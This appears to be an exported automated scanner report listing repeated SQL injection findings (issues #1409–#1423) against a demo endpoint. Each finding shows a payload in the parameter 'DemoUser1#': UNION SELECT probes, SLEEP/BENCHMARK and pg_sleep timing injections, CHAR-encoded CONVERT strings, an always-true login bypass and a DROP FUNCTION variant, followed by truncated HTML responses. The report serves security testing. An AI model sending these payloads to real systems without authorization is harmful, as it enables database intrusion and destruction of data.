z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1409
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1410
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin" or "1"="1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1411
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language
="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </
script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet
" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-
aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-
- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:
image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSB
JbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgA
QIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1412
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1413
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1414
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION 
xcjl--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1415
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+
CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)+CHAR(113)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1416
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1417
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ") or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1418
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1419
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1420
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " or ""*"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryAlerts hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1421
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 18#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1422
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1423
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 4#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
